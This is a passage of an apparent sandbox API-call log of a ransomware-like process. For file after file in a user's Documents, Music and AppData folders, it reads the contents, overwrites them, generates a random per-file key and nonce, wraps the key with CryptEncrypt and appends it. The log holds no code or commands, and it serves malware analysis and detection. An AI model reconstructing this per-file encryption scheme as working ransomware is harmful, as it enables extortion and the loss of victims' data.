lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.762] CloseHandle (hObject=0x1510) returned 1 [0167.763] WriteFile (in: hFile=0x1518, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.764] CloseHandle (hObject=0x1518) returned 1 [0167.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.764] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.764] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\JlEn5zR2ODJ_si.rtf", dwFileAttributes=0x80) returned 1 [0167.764] ReadFile (in: hFile=0x1518, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x5fbc, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x5fbc, lpOverlapped=0x0) returned 1 [0167.765] SetFilePointer (in: hFile=0x1518, lDistanceToMove=-24508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.765] WriteFile (in: hFile=0x1518, lpBuffer=0x30d6ff0*, nNumberOfBytesToWrite=0x5fbc, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6ff0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5fbc, lpOverlapped=0x0) returned 1 [0167.766] SetFilePointer (in: hFile=0x1518, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5fbc [0167.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.766] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.766] WriteFile (in: hFile=0x1518, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.766] WriteFile (in: hFile=0x1518, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.767] CloseHandle (hObject=0x1518) returned 1 [0167.768] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.768] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0167.768] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\iK_FoV79_.pptx", dwFileAttributes=0x80) returned 1 [0167.769] ReadFile (in: hFile=0x1518, lpBuffer=0x30d1028, nNumberOfBytesToRead=0xd97c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0xd97c, lpOverlapped=0x0) returned 1 [0167.770] SetFilePointer (in: hFile=0x1518, lDistanceToMove=-55676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.770] WriteFile (in: hFile=0x1518, lpBuffer=0x30de9b0*, nNumberOfBytesToWrite=0xd97c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de9b0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd97c, lpOverlapped=0x0) returned 1 [0167.770] SetFilePointer (in: hFile=0x1518, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd97c [0167.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.770] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.771] WriteFile (in: hFile=0x1518, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.771] WriteFile (in: hFile=0x1518, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.771] CloseHandle (hObject=0x1518) returned 1 [0167.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\XrxhoYWoRmKU-MQys0y\\vG1o\\9k34\\YOAi8JlowPz_JM\\2qM1gW1se0m.pptx", dwFileAttributes=0x80) returned 1 [0167.777] ReadFile (in: hFile=0x1518, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x6039, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x6039, lpOverlapped=0x0) returned 1 [0167.778] SetFilePointer (in: hFile=0x1518, lDistanceToMove=-24633, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.778] WriteFile (in: hFile=0x1518, lpBuffer=0x30d7070*, nNumberOfBytesToWrite=0x6039, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d7070*, lpNumberOfBytesWritten=0x2e1f9bc*=0x6039, lpOverlapped=0x0) returned 1 [0167.778] SetFilePointer (in: hFile=0x1518, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6039 [0167.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.779] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.779] WriteFile (in: hFile=0x1518, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.779] WriteFile (in: hFile=0x1518, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.779] CloseHandle (hObject=0x1518) returned 1 [0167.781] WriteFile (in: hFile=0x151c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0167.782] CloseHandle (hObject=0x151c) returned 1 [0167.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.782] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\VHyGJl6.m4a", dwFileAttributes=0x80) returned 1 [0167.782] ReadFile (in: hFile=0x151c, lpBuffer=0x32ee008, nNumberOfBytesToRead=0x3b91, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32ee008*, lpNumberOfBytesRead=0x2e1f9bc*=0x3b91, lpOverlapped=0x0) returned 1 [0167.783] SetFilePointer (in: hFile=0x151c, lDistanceToMove=-15249, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.783] WriteFile (in: hFile=0x151c, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x3b91, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3b91, lpOverlapped=0x0) returned 1 [0167.784] SetFilePointer (in: hFile=0x151c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3b91 [0167.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.784] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.784] WriteFile (in: hFile=0x151c, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.784] WriteFile (in: hFile=0x151c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.784] CloseHandle (hObject=0x151c) returned 1 [0167.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.786] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\tRXDevp.mp3", dwFileAttributes=0x80) returned 1 [0167.789] ReadFile (in: hFile=0x151c, lpBuffer=0x30d1028, nNumberOfBytesToRead=0xf04e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0xf04e, lpOverlapped=0x0) returned 1 [0167.790] SetFilePointer (in: hFile=0x151c, lDistanceToMove=-61518, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.790] WriteFile (in: hFile=0x151c, lpBuffer=0x30e0080*, nNumberOfBytesToWrite=0xf04e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0080*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf04e, lpOverlapped=0x0) returned 1 [0167.791] SetFilePointer (in: hFile=0x151c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf04e [0167.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.791] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.791] WriteFile (in: hFile=0x151c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.791] WriteFile (in: hFile=0x151c, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.791] CloseHandle (hObject=0x151c) returned 1 [0167.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.794] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0167.794] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\4BXh--T\\8Kho10kyZ_.mp3", dwFileAttributes=0x80) returned 1 [0167.794] ReadFile (in: hFile=0x151c, lpBuffer=0x32ee008, nNumberOfBytesToRead=0x1c47, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32ee008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1c47, lpOverlapped=0x0) returned 1 [0167.795] SetFilePointer (in: hFile=0x151c, lDistanceToMove=-7239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.795] WriteFile (in: hFile=0x151c, lpBuffer=0x32efc58*, nNumberOfBytesToWrite=0x1c47, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32efc58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1c47, lpOverlapped=0x0) returned 1 [0167.795] SetFilePointer (in: hFile=0x151c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1c47 [0167.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.795] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.796] WriteFile (in: hFile=0x151c, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.796] WriteFile (in: hFile=0x151c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.796] CloseHandle (hObject=0x151c) returned 1 [0167.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.797] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0167.797] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\oFA hJdB45-H_DNUIiJ\\YnC8Eq7r3WsT2C2.mp3", dwFileAttributes=0x80) returned 1 [0167.797] ReadFile (in: hFile=0x1520, lpBuffer=0x30d1028, nNumberOfBytesToRead=0xf43b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0xf43b, lpOverlapped=0x0) returned 1 [0167.798] SetFilePointer (in: hFile=0x1520, lDistanceToMove=-62523, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.798] WriteFile (in: hFile=0x1520, lpBuffer=0x30e0470*, nNumberOfBytesToWrite=0xf43b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0470*, lpNumberOfBytesWritten=0x2e1f9bc*=0xf43b, lpOverlapped=0x0) returned 1 [0167.799] SetFilePointer (in: hFile=0x1520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xf43b [0167.799] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.799] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.799] WriteFile (in: hFile=0x1520, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.799] WriteFile (in: hFile=0x1520, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.800] CloseHandle (hObject=0x1520) returned 1 [0167.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0167.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.801] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\oFA hJdB45-H_DNUIiJ\\TLxF1u0.m4a", dwFileAttributes=0x80) returned 1 [0167.801] ReadFile (in: hFile=0x1520, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x5c82, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x5c82, lpOverlapped=0x0) returned 1 [0167.802] SetFilePointer (in: hFile=0x1520, lDistanceToMove=-23682, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.802] WriteFile (in: hFile=0x1520, lpBuffer=0x30d6cb8*, nNumberOfBytesToWrite=0x5c82, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d6cb8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x5c82, lpOverlapped=0x0) returned 1 [0167.803] SetFilePointer (in: hFile=0x1520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x5c82 [0167.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.803] WriteFile (in: hFile=0x1520, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.803] WriteFile (in: hFile=0x1520, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.803] CloseHandle (hObject=0x1520) returned 1 [0167.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.805] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\oFA hJdB45-H_DNUIiJ\\PfXHBcp1VI0b.mp3", dwFileAttributes=0x80) returned 1 [0167.805] ReadFile (in: hFile=0x1520, lpBuffer=0x32ee008, nNumberOfBytesToRead=0x1914, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32ee008*, lpNumberOfBytesRead=0x2e1f9bc*=0x1914, lpOverlapped=0x0) returned 1 [0167.806] SetFilePointer (in: hFile=0x1520, lDistanceToMove=-6420, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.806] WriteFile (in: hFile=0x1520, lpBuffer=0x32ef928*, nNumberOfBytesToWrite=0x1914, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x32ef928*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1914, lpOverlapped=0x0) returned 1 [0167.806] SetFilePointer (in: hFile=0x1520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1914 [0167.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.806] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.806] WriteFile (in: hFile=0x1520, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.806] WriteFile (in: hFile=0x1520, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.807] CloseHandle (hObject=0x1520) returned 1 [0167.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.808] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0167.808] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\FO7jTe\\A2m0KN E2VxFW_QW8sv9\\0pd24cSq3_ufoerJ\\oFA hJdB45-H_DNUIiJ\\-yB 9WGx_AF2Lvu6h.wav", dwFileAttributes=0x80) returned 1 [0167.808] ReadFile (in: hFile=0x1520, lpBuffer=0x30d1028, nNumberOfBytesToRead=0x14c4f, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c4f, lpOverlapped=0x0) returned 1 [0167.809] SetFilePointer (in: hFile=0x1520, lDistanceToMove=-85071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0167.809] WriteFile (in: hFile=0x1520, lpBuffer=0x2ee3010*, nNumberOfBytesToWrite=0x14c4f, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ee3010*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c4f, lpOverlapped=0x0) returned 1 [0167.810] SetFilePointer (in: hFile=0x1520, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14c4f [0167.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0167.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0167.810] WriteFile (in: hFile=0x1520, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0167.810] WriteFile (in: hFile=0x1520, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0167.810] CloseHandle (hObject=0x1520) returned 1 [0167.812] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0167.812] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0167.812] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst", dwFileAttributes=0x80) returned 1 [0167.812] ReadFile (in: hFile=0x1524, lpBuffer=0x32ee008, nNumberOfBytesToRead=0x255e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: 